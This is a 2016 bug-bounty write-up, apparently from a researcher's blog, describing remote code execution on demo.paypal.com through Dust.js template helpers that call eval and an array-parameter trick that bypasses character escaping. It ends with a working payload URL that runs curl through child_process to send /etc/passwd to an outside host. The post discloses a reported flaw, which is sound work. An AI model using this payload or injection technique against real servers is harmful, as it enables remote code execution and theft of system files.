Friday, August 19, 2016

[demo.paypal.com] Node.js code injection (RCE)

When I am trying to find vulnerabilities in web applications, I always perform fuzzing of all http parameters, and sometimes it gives me something interesting:

The demo.paypal.com server was responding differently for '\' and '%0a' requests and was throwing a 'syntax error' in responses. At the same time for single quote, double quote and other characters the server was responding with HTTP 200 OK.

From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using "if" dust.js helpers.

The old version of Dust.js supports "if" helpers, you can use them in your code like that:

And the "if" helper internally uses javascript eval, for complex expression evaluation:
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215

Eval! Yeah, why not? It's a simple and elegant solution.

So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:

Which throws a syntax error.

Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (') and double quote (") with html encoding (' -> '), so we cannot directly close the string and execute arbitrary javascript code. But let's look closer at the function that makes this replacement:

https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846

Hmmm, but what if the 's' parameter is not a string? In Node.js we can send a request like paypal.com/?device[]=1&device[]=2 and the 'device' parameter will be parsed by qs module as an Array, instead of string.

I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=' and when the server responded with 'syntax error' my chair started to shake under me.

I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends '/etc/passwd' file to my server.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'



This string was worth $10.000 for me.